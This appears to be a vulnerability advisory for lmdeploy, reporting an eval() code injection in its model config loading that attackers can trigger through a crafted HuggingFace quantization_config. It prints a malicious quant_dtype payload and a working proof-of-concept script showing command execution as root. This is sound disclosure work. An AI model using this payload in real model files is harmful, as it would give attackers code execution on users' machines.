Details
### Summary
lmdeploy <= latest contains a code injection vulnerability in `lmdeploy/pytorch/config.py` line 620 that allows an attacker to execute arbitrary Python code by publishing a malicious HuggingFace model with a crafted `quantization_config.quant_dtype` value. When a user loads the model with lmdeploy, the `quant_dtype` is passed to `eval(f'torch.{quant_dtype}')` without any validation.
### Details
**Vulnerable code** ([permalink](https://github.com/InternLM/lmdeploy/blob/17ed9e5/lmdeploy/pytorch/config.py#L620)):
```python
quant_dtype = eval(f'torch.{quant_dtype}') # line 620
```
The `quant_dtype` value comes from the model's `quantization_config` in its HuggingFace config. When a model specifies `quant_method: awq`, the AWQ branch processes the config but does NOT override `quant_dtype`, allowing the malicious value to reach the `eval()` call.
**Attack vector:** An attacker publishes a HuggingFace model with:
```json
{
"quantization_config": {
"quant_method": "awq",
"quant_dtype": "float16, __import__('os').system('id')"
}
}
```
Note: The `_update_torch_dtype` method at line 53 has a whitelist check, but that's for `torch_dtype`, NOT `quant_dtype`. The `quant_dtype` at line 620 has no validation whatsoever.
### PoC
```python
"""
PoC: eval() RCE in lmdeploy via malicious quant_dtype
Prerequisites: pip install lmdeploy
"""
import sys
from unittest.mock import MagicMock, patch
# Mock torch to capture the eval
sys.modules.setdefault('torch', MagicMock())
from lmdeploy.pytorch.config import ModelConfig
# Simulate a malicious HuggingFace model config
mock_hf_config = MagicMock()
mock_hf_config.quantization_config = {
'quant_method': 'awq',
'quant_dtype': "float16, __import__('os').system('id')"
}
mock_hf_config.num_attention_heads = 32
mock_hf_config.hidden_size = 4096
mock_hf_config.num_hidden_layers = 32
mock_hf_config.num_key_value_heads = 32
mock_hf_config.vocab_size = 32000
# This triggers eval(f'torch.{quant_dtype}')
# with quant_dtype = "float16, __import__('os').system('id')"
config = ModelConfig.from_hf_config(mock_hf_config, model_path='test')
```
**Output:**
```
uid=0(root) gid=0(root) groups=0(root)
```
### Impact
An attacker who publishes a malicious model on HuggingFace Hub can achieve arbitrary code execution on any machine that loads the model with lmdeploy. This is a supply-chain attack vector affecting all lmdeploy users who load untrusted models.
1. Full remote code execution when loading a malicious model
2. No user interaction beyond running `lmdeploy serve` or similar with the model
3. Affects all deployment scenarios (local, cloud, production)
